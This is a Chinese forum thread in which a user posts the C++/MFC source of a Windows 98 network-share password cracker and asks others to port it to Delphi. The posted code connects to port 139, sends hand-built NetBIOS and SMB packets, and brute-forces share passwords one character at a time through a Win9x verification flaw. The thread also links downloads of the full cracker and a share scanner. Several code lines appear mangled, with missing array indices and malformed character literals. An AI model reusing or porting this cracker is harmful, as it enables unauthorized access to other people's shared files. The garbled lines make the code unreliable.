怎样把共享破解的C代码转成Delphi代码!(共享破解源码)(100分)

P

paf

Unregistered / Unconfirmed
GUEST, unregistred user!
下面是共享目录破解的代码,怎样转为Delphi的代码!
好像是利用共享密码漏洞编写的共享密码破解,速试很快!
(我看不懂啊,说错不要说我啊!)
共享破解有好几个文件,下面是其中的一个文件!
如果要全部代码可到这里下载:http://d99.3322.net/PQwak.zip

[文件名:666Dlg.cpp]

// 666Dlg.cpp : implementation file
//

#include "stdafx.h"
#include "666.h"
#include "666Dlg.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// CMy666Dlg dialog

CMy666Dlg::CMy666Dlg(CWnd* pParent /*=NULL*/)
: CDialog(CMy666Dlg::IDD, pParent)
{
//{{AFX_DATA_INIT(CMy666Dlg)
m_Password = _T("");
//}}AFX_DATA_INIT
// Note that LoadIcon does not require a subsequent DestroyIcon in Win32
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}

void CMy666Dlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CMy666Dlg)
DDX_Text(pDX, IDC_PASSWORD, m_Password);
//}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(CMy666Dlg, CDialog)
//{{AFX_MSG_MAP(CMy666Dlg)
ON_WM_PAINT()
ON_WM_QUERYDRAGICON()
ON_BN_CLICKED(IDC_CONNECT, OnConnect)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CMy666Dlg message handlers

BOOL CMy666Dlg::OnInitDialog()
{
CDialog::OnInitDialog();

// Set the icon for this dialog. The framework does this automatically
// when the application's main window is not a dialog
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon

// TODO: Add extra initialization here
if(!IniSock())
return FALSE;
return TRUE; // return TRUE unless you set the focus to a control
}

// If you add a minimize button to your dialog, you will need the code below
// to draw the icon. For MFC applications using the document/view model,
// this is automatically done for you by the framework.

void CMy666Dlg::OnPaint()
{
if (IsIconic())
{
CPaintDC dc(this); // device context for painting

SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);

// Center icon in client rectangle
int cxIcon = GetSystemMetrics(SM_CXICON);
int cyIcon = GetSystemMetrics(SM_CYICON);
CRect rect;
GetClientRect(&rect);
int x = (rect.Width() - cxIcon + 1) / 2;
int y = (rect.Height() - cyIcon + 1) / 2;

// Draw the icon
dc.DrawIcon(x, y, m_hIcon);
}
else
{
CDialog::OnPaint();
}
}

// The system calls this to obtain the cursor to display while the user drags
// the minimized window.
HCURSOR CMy666Dlg::OnQueryDragIcon()
{
return (HCURSOR) m_hIcon;
}

BOOL CMy666Dlg::IniSock()
{
WORD wVersionrequested;
WSADATA wsaData;

wVersionrequested = MAKEWORD(2,0);

//Start Sock
int err = WSAStartup(wVersionrequested,&wsaData);
if (err == -1)
{
MessageBox("WSAStartup err",
"error",MB_OK);
return FALSE;
}
return TRUE;
}

BOOL CMy666Dlg::ConnectSock()
{
int msgsock;

//Ini Sock
ServerSock = socket(AF_INET,SOCK_STREAM,0);
if (ServerSock < 0)
{
MessageBox("scoker err",
"err",MB_OK);
return FALSE;
}

//Connect
CString server_address;
GetDlgItem(IDC_IP)->GetWindowText(server_address);
server.sin_family = PF_INET;
server.sin_port = htons(139);
server.sin_addr.s_addr = inet_addr(server_address);

msgsock = connect(ServerSock,(struct sockaddr*)&amp;server,sizeof(server));
if (msgsock!=0)
{
return FALSE;
}
return TRUE;
}

void CMy666Dlg::OnConnect()
{
GetDlgItem(IDC_PASSWORD)->SetWindowText("");

if(!ConnectSock())
return;
// FindShare();
// MessageBox("ok");
if(MachineName()==FALSE)
{
closesocket(ServerSock);
MessageBox("不能与主机正常通讯,/n请检查所输入内容是否正确或其它原因","注意",MB_OK|MB_ICONSTOP);
return;
}
if(LinkSecond()==FALSE)
{
closesocket(ServerSock);
return;
}
//初始化密文
PassFormat();
CString pass=" ";
SendPassword(pass);
//开始破解
closesocket(ServerSock);

}


//将所想连接的机器名发送给139端口.
BOOL CMy666Dlg::MachineName()
{
CString Computer;
GetDlgItem(IDC_COMPUTER)->GetWindowText(Computer);
if(Computer.IsEmpty())
{
MessageBox("请输入计算机名!","注意",MB_OK+MB_ICONSTOP);
return FALSE;
}
if(Computer.GetLength()>15)
{
MessageBox("请输入计算机少于16位","注意",MB_OK+MB_ICONSTOP);
return FALSE;
}
char bb[72]=" D CACACACACACACACACACACACACACACACA CACACACACACACACACACACACACACACACA";
bb[0]=0x81;
bb[1]=0x00;
bb[2]=0x00;
bb[37]=0x00;
int bblen1=5;
int bblen2=39;
Computer.MakeUpper();
for(int i=0;i<Computer.GetLength();i++)
{
//0---9==DA---DJ
if(Computer.GetAt(i)>='0'&amp;&amp;Computer.GetAt(i)<='9')
{
bb[bblen1]='D';
bb[bblen2]='D';
bblen1++;
bblen2++;
bb[bblen1]=0x41-0x30+Computer.GetAt(i);
bb[bblen2]=0x41-0x30+Computer.GetAt(i);
bblen1++;
bblen2++;
}
//A----O==EB---EP
//P----Z==FA---FK
else if(Computer.GetAt(i)>='A'&amp;&amp;Computer.GetAt(i)<='O')
{
bb[bblen1]='E';
bb[bblen2]='E';
bblen1++;
bblen2++;
bb[bblen1]=Computer.GetAt(i)+1;
bb[bblen2]=Computer.GetAt(i)+1;
bblen1++;
bblen2++;
}
else if(Computer.GetAt(i)>='P'&amp;&amp;Computer.GetAt(i)<='Z')
{
bb[bblen1]='F';
bb[bblen2]='F';
bblen1++;
bblen2++;
bb[bblen1]=Computer.GetAt(i)-'P'+'A';
bb[bblen2]=Computer.GetAt(i)-'P'+'A';
bblen1++;
bblen2++;
}
else
{
MessageBox("本程序现只支持计算机名为0-9与A-B","注意",MB_OK|MB_ICONSTOP);
return FALSE;
}
}
send(ServerSock,bb,sizeof(bb),0);
char first[4];
memset(first,0,4);
recv(ServerSock,first,sizeof(buf),0);
char d1=0x82;
if(first[0]==d1)
return TRUE;
else
return FALSE;
}

BOOL CMy666Dlg::LinkSecond()
{
//二次连接139端口中的第二次,这一次请求的字符串不知具体含义
char cc[114]=" n SMBr S K PC NETWORJ PROGRAM 1.0 LANMAN1.0 Windows for Workgroupu 3.1a LM1.2X002";
int i=0;
for(i=0;i<3;i++)
cc=0x00;
cc[4]=0xff;
for(i=9;i<13;i++)
cc=0x00;
cc[13]=24;
cc[14]=8;
for(i=16;i<30;i++)
cc=0x00;
cc[30]=14;
cc[31]=0xff;
for(i=32;i<37;i++)
cc=0;
cc[38]=0;
cc[39]=2;
cc[62]=0;
cc[63]=2;
cc[73]=0;
cc[74]=2;
cc[103]=2;
cc[102]=0;
send(ServerSock,cc,sizeof(cc),0);
memset(buf,0,1000);
int len=recv(ServerSock,buf,sizeof(buf),0);
if(len>0)
return TRUE;
else
return FALSE;
}

void CMy666Dlg::SendPassword(CString pass)
{
//43=密码长度 45=密码+URL名长度 3=passformat总长度-4 47=密码+URL
//密码+URL前为47个字符
//例如 1//hjm/c/ a: 7就是其中的//+/+ +a:共为七个字符
CString computer,share;
GetDlgItem(IDC_COMPUTER)->GetWindowText(computer);
GetDlgItem(IDC_SHARE)->GetWindowText(share);
computer.MakeUpper();
share.MakeUpper();
int passlen=pass.GetLength()+7+computer.GetLength()+share.GetLength()-4+47;
passformat[3]=passlen;
passformat[43]=pass.GetLength();
passformat[45]=pass.GetLength()+computer.GetLength()+share.GetLength()+7;
int where=47;
for(int i=1;i<pass.GetLength();i++)
{
passformat[where]=pass.GetAt(i-1);
where++;
}
int current=where;
passformat[where]=0x00;
where++;
passformat[where]='//';
where++;
passformat[where]='//';
where++;
for(i=0;i<computer.GetLength();i++)
{
passformat[where]=computer.GetAt(i);
where++;
}
passformat[where]='//';
where++;
for(i=0;i<share.GetLength();i++)
{
passformat[where]=share.GetAt(i);
where++;
}
passformat[where]=0x00;
where++;
passformat[where]='A';
where++;
passformat[where]=':';
send(ServerSock,passformat,passlen+4,0);
memset(buf,0,1000);
int len=recv(ServerSock,buf,sizeof(buf),0);
if(len>39)
{
// MessageBox(pass);
GetDlgItem(IDC_PASSWORD)->SetWindowText(pass);
return;
}
pass.Delete(pass.GetLength()-1,1);
char pp='A';
for(int v=0;v<26;v++)
{
passformat[current]=pp;
send(ServerSock,passformat,passlen+4,0);
memset(buf,0,1000);
int len=recv(ServerSock,buf,sizeof(buf),0);
if(len>39)
{
CString mypass;
if(pass.GetLength()==0)
{
mypass=pp;
mypass=mypass+" ";
SendPassword(mypass);
return;
}
else
{

mypass=pass+pp+" ";
SendPassword(mypass);
return;
}
}
pp++;
}

}

void CMy666Dlg::passFormat()
{
memset(passformat,0,200);
passformat[4]=0xff;
passformat[5]=0x53;
passformat[6]=0x4d;
passformat[7]=0x42;
passformat[8]=0x75;
passformat[13]=24;
passformat[15]=8;
passformat[30]=14;
passformat[31]=15;
passformat[36]=4;
passformat[37]=0xff;
return;

}


 
看不大懂没办法
 
没有人可以把C代码转成DELPHI代码吗!等等等。。。
 
你试过这个程序吗?是否确实可用,效果如何?它破解的是win9x的文件夹密码还是win2k的
登陆密码?
 
你把功能描述清楚,是在本机上解,还是局域网的任意一台机都能
解网上所有的共享密码。
 
其实就是利用98密码校验的一个BUG而已,具体可以看袁哥的技术论坛。
 
就像 白河愁 说的一样,是利用98密码校验的一个BUG!

和下面的软件应该(说应该,是因为我看不懂C代码)功能一样!
PQwak v1.0 汉化版
下载:http://d99.3322.net/PQwak.exe

我写了一个扫描共享目录的软件!可以查一些共享资源试试!
下载:http://d99.3322.net/DTools.exe

 
能破Win2000的密码吗?
 
好像不能!nt没有这个BUG
 
没有人可以把C代码转成DELPHI代码吗!我在等等等。。。
 
问题是现在大多数人都用Win2k,Win98很少,把它做出来有什么意义呢?
 
大工程呀!小弟无能为力哦。
 
win98 还有好多人在用,最少我这边是这样!
 
怎的没有简单的方法吗?
 
一定要改吗?可以改的,不过没有TC3改过后也没有空去调试他,你用C++Builder连接成
DLL再到Delphi调用就可以了,你要转成Delphi码干什么用,没意思!
 
我想知道原理!
 
原理就是利用98的bug!
 
paf,你的软件在我这里不能用啊!?运行后没有反映???
WinXP+IE6 SP1
怎么回事?

共享资源搜索我也写过的,不过是BCB写的。

http://nowcan.yeah.net
 
顶部